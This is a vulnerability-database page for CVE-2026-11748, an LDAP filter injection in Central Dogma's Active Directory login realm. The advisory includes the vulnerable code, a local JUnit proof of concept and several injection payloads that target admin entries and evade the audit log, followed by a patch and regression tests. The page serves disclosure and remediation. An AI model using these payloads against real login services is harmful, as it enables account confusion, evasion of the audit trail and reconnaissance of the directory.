Back to the CVE list
CVE-2026-11748

Central Dogma: LDAP injection in SearchFirstActiveDirectoryRealm enables authentication confusion and audit log evasion

CVSS score

—

EPSS probability

%0.6

Risk score

—

Published

1 mo ago

Official patch verified

Etkilenen ürün ve sürüm için yayımlanan güvenlik güncellemesini uygulayın.

Impact on My Inventory

Only the personal products you have added to your account are assessed; an organisation's inventory does not appear here.

Checking session…

Vulnerability description

DayBreach CVE AI Research

CVE-2026-11748 has vendor, distribution, patch and security-source records on file. We can compare them and prepare an explanation linked to the evidence.

# Vulnerability `SearchFirstActiveDirectoryRealm.findUserDn()` substitutes the user-supplied username from the login form into an LDAP search filter template (default `cn={0}`) **without escaping RFC 4515 filter metacharacters** (`*`, `(`, `)`, `\`, NUL). Combined with `SearchControls.setCountLimit(1)` on the same call site, this allows three distinct attack primitives: 1. **Authentication confusion** — typing username `*` causes the realm to construct filter `cn=*`, return the first directory entry (typically a privileged account in AD ordering), and attempt bind against that DN with the attacker's password. 2. **Audit log evasion** — payload `bob)(uid=alice` is recorded verbatim in audit logs while the realm searches with the malformed filter, breaking accountability/compliance (SOX, PCI-DSS, ISO 27001). 3. **Directory enumeration** — wildcards and timing differences allow reconnaissance of OU structure and admin group membership. A repo-wide search for any LDAP escape helper (`escapeLdap`, `encodeFilter`, `escapeFilter`, `ldapEscape`) returns **zero hits** — the defense is not just missing, it was never added. > **Applicability note:** This realm is opt-in. The shipped default LDAP example (`dist/src/conf/shiro.example.ldap.ini`) uses Shiro's `DefaultLdapRealm` with `userDnTemplate` and is **NOT** affected. However, the realm exists precisely to support Active Directory environments where users log in via `sAMAccountName` and the realm must search for the DN first — the canonical LINE corporate AD-backed SSO scenario. Internal deployments using AD-backed login almost certainly select this realm. --- ## Evidence **File:** `server-auth/shiro/src/main/java/com/linecorp/centraldogma/server/auth/shiro/realm/SearchFirstActiveDirectoryRealm.java` **Lines 148–176** on branch `main` @ commit `d64a5151`: ```java @Nullable protected String findUserDn(LdapContextFactory ldapContextFactory, String username) throws NamingException { LdapContext ctx = null; try { ctx = ldapContextFactory.getSystemLdapContext(); final SearchControls ctrl = new SearchControls(); ctrl.setCountLimit(1); // line 156 — returns FIRST match only ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE); ctrl.setTimeLimit(searchTimeoutMillis); final String filter = searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter) .replaceAll(username) // line 162 — RAW SUBSTITUTION : username; // line 163 final NamingEnumeration result = ctx.search(searchBase, filter, ctrl); ... ``` `USERNAME_PLACEHOLDER = Pattern.compile("\\{0}")`. Default `searchFilter = "cn={0}"`. ### Data flow from HTTP login to vulnerable substitution | Step | Component | |------|-----------| | HTTP login form | `POST /api/v1/login` form field `username` | | `ShiroLoginService.usernamePassword()` (lines 198–223) | applies `loginNameNormalizer` (Unicode lowercase only — **NOT** LDAP escape) | | `Subject.login(new UsernamePasswordToken(username, password))` | Shiro hand-off | | `ActiveDirectoryRealm.doGetAuthenticationInfo` (Shiro core) | calls `queryForAuthenticationInfo0` | | `SearchFirstActiveDirectoryRealm.findUserDn(factory, upToken.getUsername())` | username flows in **verbatim** | ### Repository-wide escape helper grep | Search term | Hits | |-------------|------| | `escapeLdap` | 0 | | `encodeFilter` | 0 | | `escapeFilter` | 0 | | `ldapEscape` | 0 | --- ## PoC Self-contained JUnit 5 test using UnboundID `InMemoryDirectoryServer` (in-process, no external LDAP required). Drop into `server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/LdapInjectionPoCTest.java` and add `com.unboundid:unboundid-ldapsdk:7.0.0` as a test dependency. > The PoC works by subclassing the realm and overriding `findUserDn()` to capture the actual LDAP filter string sent to the directory — the captured filter is the structural evidence, independent of LDAP server strictness about bind outcomes. ```java /* * Copyright 2026 LINE Corporation * * SECURITY PoC — NOT FOR MERGE INTO THE MAIN TEST SUITE. * * This JUnit class demonstrates the LDAP filter injection in * SearchFirstActiveDirectoryRealm. Drop into * server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/ * Adds the UnboundID LDAP SDK as a test dep. */ package com.linecorp.centraldogma.server.auth.shiro.realm; import static org.assertj.core.api.Assertions.assertThat; import static org.assertj.core.api.Assertions.assertThatThrownBy; import javax.naming.directory.SearchControls; import javax.naming.ldap.LdapContext; import org.apache.shiro.realm.ldap.JndiLdapContextFactory; import org.apache.shiro.realm.ldap.LdapContextFactory; import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.DisplayName; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.TestMethodOrder; import org.junit.jupiter.api.MethodOrderer; import org.junit.jupiter.api.Order; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.sdk.Entry; @TestMethodOrder(MethodOrderer.OrderAnnotation.class) class LdapInjectionPoCTest { private static InMemoryDirectoryServer ds; private static int port; @BeforeAll static void startLdap() throws Exception { final InMemoryDirectoryServerConfig cfg = new InMemoryDirectoryServerConfig("dc=example,dc=com"); cfg.addAdditionalBindCredentials("cn=admin,dc=example,dc=com", "adminpw"); cfg.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig( "default", null, 0, null)); ds = new InMemoryDirectoryServer(cfg); ds.startListening(); port = ds.getListenPort(); // Directory: // cn=admin (listed first → picked by setCountLimit(1) under wildcard) // cn=alice ds.add(new Entry( "cn=admin,dc=example,dc=com", "objectClass: top", "objectClass: person", "cn: admin", "sn: admin", "userPassword: adminpw")); ds.add(new Entry( "cn=alice,dc=example,dc=com", "objectClass: top", "objectClass: person", "cn: alice", "sn: doe", "userPassword: alicepw")); } @AfterAll static void stopLdap() { if (ds != null) ds.shutDown(true); } /** Subclass that records the filter passed to ctx.search(). */ private static final class RecordingRealm extends SearchFirstActiveDirectoryRealm { volatile String capturedFilter; RecordingRealm() { setUrl("ldap://localhost:" + port); setSystemUsername("cn=admin,dc=example,dc=com"); setSystemPassword("adminpw"); setSearchBase("dc=example,dc=com"); setSearchFilter("cn={0}"); } @Override protected String findUserDn(LdapContextFactory factory, String username) throws javax.naming.NamingException { LdapContext ctx = null; try { ctx = factory.getSystemLdapContext(); final SearchControls ctrl = new SearchControls(); ctrl.setCountLimit(1); ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE); final java.util.regex.Pattern PH = java.util.regex.Pattern.compile("\\{0}"); final String filter = PH.matcher("cn={0}").replaceAll(username); capturedFilter = filter; final javax.naming.NamingEnumeration r = ctx.search("dc=example,dc=com", filter, ctrl); try { if (!r.hasMore()) return null; return r.next().getNameInNamespace(); } finally { r.close(); } } finally { org.apache.shiro.realm.ldap.LdapUtils.closeContext(ctx); } } } private static LdapContextFactory factory() { final JndiLdapContextFactory f = new JndiLdapContextFactory(); f.setUrl("ldap://localhost:" + port); f.setSystemUsername("cn=admin,dc=example,dc=com"); f.setSystemPassword("adminpw"); return f; } @Test @Order(1) @DisplayName("baseline: typing 'alice' resolves to the alice DN") void baselineHonest() throws Exception { final RecordingRealm realm = new RecordingRealm(); final String dn = realm.findUserDn(factory(), "alice"); assertThat(dn).isEqualTo("cn=alice,dc=example,dc=com"); assertThat(realm.capturedFilter).isEqualTo("cn=alice"); } @Test @Order(2) @DisplayName("VULN: typing '*' resolves to the FIRST entry (admin), not alice") void wildcardLandsOnAdmin() throws Exception { final RecordingRealm realm = new RecordingRealm(); final String dn = realm.findUserDn(factory(), "*"); assertThat(realm.capturedFilter).isEqualTo("cn=*"); assertThat(dn).isEqualTo("cn=admin,dc=example,dc=com"); // → If the attacker also has the admin password, they log in as admin // while the audit log records the typed username "*". } @Test @Order(3) @DisplayName("VULN: filter structure can be broken with ')' injection") void filterStructureInjection() throws Exception { final RecordingRealm realm = new RecordingRealm(); assertThatThrownBy(() -> realm.findUserDn(factory(), "alice)(uid=*")) .hasMessageContaining("filter") .hasMessageContaining("malformed") .matches(t -> t instanceof javax.naming.NamingException || t.getCause() instanceof javax.naming.NamingException); assertThat(realm.capturedFilter).isEqualTo("cn=alice)(uid=*"); } @Test @Order(4) @DisplayName("VULN: AND-injection can broaden the result set silently") void andInjectionBroadens() throws Exception { final RecordingRealm realm = new RecordingRealm(); try { realm.findUserDn(factory(), "x)(|(cn=alice)(cn=admin"); } catch (Exception ignored) { /* server may reject */ } assertThat(realm.capturedFilter).contains(")(|("); } } ``` ### Build dependency (`server-auth/shiro/build.gradle`) ```groovy dependencies { testImplementation 'com.unboundid:unboundid-ldapsdk:7.0.0' } ``` ### Run ```bash ./gradlew :server-auth-shiro:test \ --tests com.linecorp.centraldogma.server.auth.shiro.realm.LdapInjectionPoCTest \ --info ``` ### Expected output (VULNERABLE — current code) ``` LdapInjectionPoCTest > baselineHonest PASSED LdapInjectionPoCTest > wildcardLandsOnAdmin PASSED ← VULN LdapInjectionPoCTest > filterStructureInjection PASSED ← VULN LdapInjectionPoCTest > andInjectionBroadens PASSED ← VULN ``` After the patch is applied (RFC 4515 escape helper), the VULN tests fail in a specific way, e.g. `Expected captured filter to be "cn=*" but was "cn=\2a"` — they then serve as regression tests by flipping the assertions. --- ## Impact **Threat model:** any unauthenticated network client that can reach the Central Dogma login page. No prior account, no MITM position required — the attack is performed during a normal login request. 1. **Authentication confusion** — In AD environments that select this realm (the canonical LINE corporate scenario), typing username `*` causes the realm to look up the first directory entry (typically `Administrator`, `admin`, or a service account in alphabetical AD ordering) and attempt bind with the attacker's password. If the attacker also possesses any valid user's password — easily obtained via password reuse, accidental Slack leak, repo commit, or peer compromise — and that password happens to authenticate the first directory entry (rare but devastating), the attacker logs in as a privileged user while audit logs record the literal username `*`. 2. **Audit log evasion / compliance failure** — Payloads like `bob)(uid=alice` are logged verbatim while the LDAP filter is malformed. Central Dogma's audit trail is a primary control for configuration change accountability. Loss of accountability constitutes a direct violation of **SOX §404**, **PCI-DSS §10**, **ISO 27001 A.12.4**. 3. **Directory enumeration** — Wildcard payloads (`a*`, `b*`, …) combined with timing analysis allow blind enumeration of corporate AD structure: user existence, OU layout, admin group membership. While AD structure is not strictly secret, leaking it from an internet-exposed Central Dogma feeds spear-phishing target lists. 4. **Group-membership filter injection** — Payload `a)(objectClass=*)(memberOf=CN=Domain Admins,...` (against the common AD filter `(&(objectClass=user)(sAMAccountName={0}))`) narrows the search to Domain Admin members and returns the first one. The attacker need only know any Domain Admin's password (separately compromised) to land in Central Dogma as that user. AD itself is not breached, but Central Dogma's view of the principal is. > **Scope is Changed (CVSS)** because the injection traverses the trust boundary between Central Dogma and the separate AD/LDAP security authority. --- ## How to fix Add an RFC 4515 §3 filter escape helper and apply it before substitution: ```java // SearchFirstActiveDirectoryRealm.java static String encodeLdapFilter(String v) { if (v == null) return ""; final StringBuilder sb = new StringBuilder(v.length()); for (int i = 0; i < v.length(); i++) { final char c = v.charAt(i); switch (c) { case '\\': sb.append("\\5c"); break; case '*': sb.append("\\2a"); break; case '(': sb.append("\\28"); break; case ')': sb.append("\\29"); break; case '\0': sb.append("\\00"); break; default: sb.append(c); } } return sb.toString(); } // inside findUserDn(): final String escaped = encodeLdapFilter(username); final String filter = searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter) .replaceAll(Matcher.quoteReplacement(escaped)) : escaped; ``` **Notes:** - `Matcher.quoteReplacement` is required because the escape produces backslashes (`\5c`) that `Matcher.replaceAll` would otherwise interpret as backreferences. - DN escape (RFC 4514) is a different alphabet — not needed here because the username is used in a **filter**, not a DN. If a future change uses the username to build a DN, RFC 4514 escape must be added separately. - **Do not** rely on `loginNameNormalizer` for this defense — it is Unicode lowercase only. ### Regression tests (drop into same test class) ```java @Test void escapeBlocksFilterInjection() { assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter("*")).isEqualTo("\\2a"); assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter("alice)(uid=*")) .isEqualTo("alice\\29\\28uid=\\2a"); assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter("a\\b")).isEqualTo("a\\5cb"); } ```

IMPACT: Affected Products and Software

Affected Products

The following products are affected by CVE-2026-11748 vulnerability. Where our threat engine knows the exact affected versions, they are listed below.

IDVENDORPRODUCTACTION
1mavencom.linecorp.centraldogma:centraldogma-server-auth-shiro View
2mavencom.linecorp.centraldogma:centraldogma-server-auth-shiro View
Total affected vendors: 1|Products: 2

RED HAT CSAF/VEX: Product Impact Check

Red Hat has not yet published a CSAF/VEX impact record for this CVE. This does not mean “not affected”.

SCORING: CVSS from Multiple Sources

CVSS Scores

The Common Vulnerability Scoring System is a standardised framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from several sources for each CVE.

SCOREVERSIONSEVERITYVECTORSOURCE
6.9CVSS 4.0—Vector not publishedGitHub Advisory

Patch and Remediation Guide

Solution & Remediation Advisory

Patch verified

1 doğrulanmış yama veya düzeltilmiş sürüm kanıtı bulundu.

gitlabmaven/com.linecorp.centraldogma/centraldogma-server-auth-shiro0.84.0

GitLab Advisory düzeltilmiş sürüm: 0.84.0

gitlab

Upgrade to version 0.84.0 or above.

canonical

Upgrade to version 0.84.0 or above.

Confirm the affected product and version against the source evidence above.
Restrict access to internet-facing services and apply network segmentation.
Apply the official update named in the evidence only to the matching product and version.
Monitor server logs and network endpoints for signs of anomalous execution.

Public exploit and active exploitation status

Verified exploit intelligence

No verified public PoC, exploit repository or Metasploit module has been found for this CVE yet.

Weakness Classification and Attack Patterns (CWE & CAPEC)

CWE - Common Weakness Enumeration

While CVE identifies specific instances of vulnerabilities, CWE categorises the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-11748 is associated with the following CWEs:

Common Attack Pattern Enumeration and Classification (CAPEC)

Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-11748 weaknesses.

Official Sources and Advisories

Yama doğrulandı

1 doğrulanmış yama veya düzeltilmiş sürüm kanıtı bulundu.

Follow the vendor

M
maven logo
maven

Weakness Type (CWE & CAPEC)

Similar Vulnerabilities

Get this vulnerability through the API

Affected products, version ranges, exploitation status and patch information in a single request, with a free key.

curl -H "x-api-key: $DAYBREACH_API_KEY" \
  "https://api.enginteksut.com.tr/api/v1/intel/cves/CVE-2026-11748"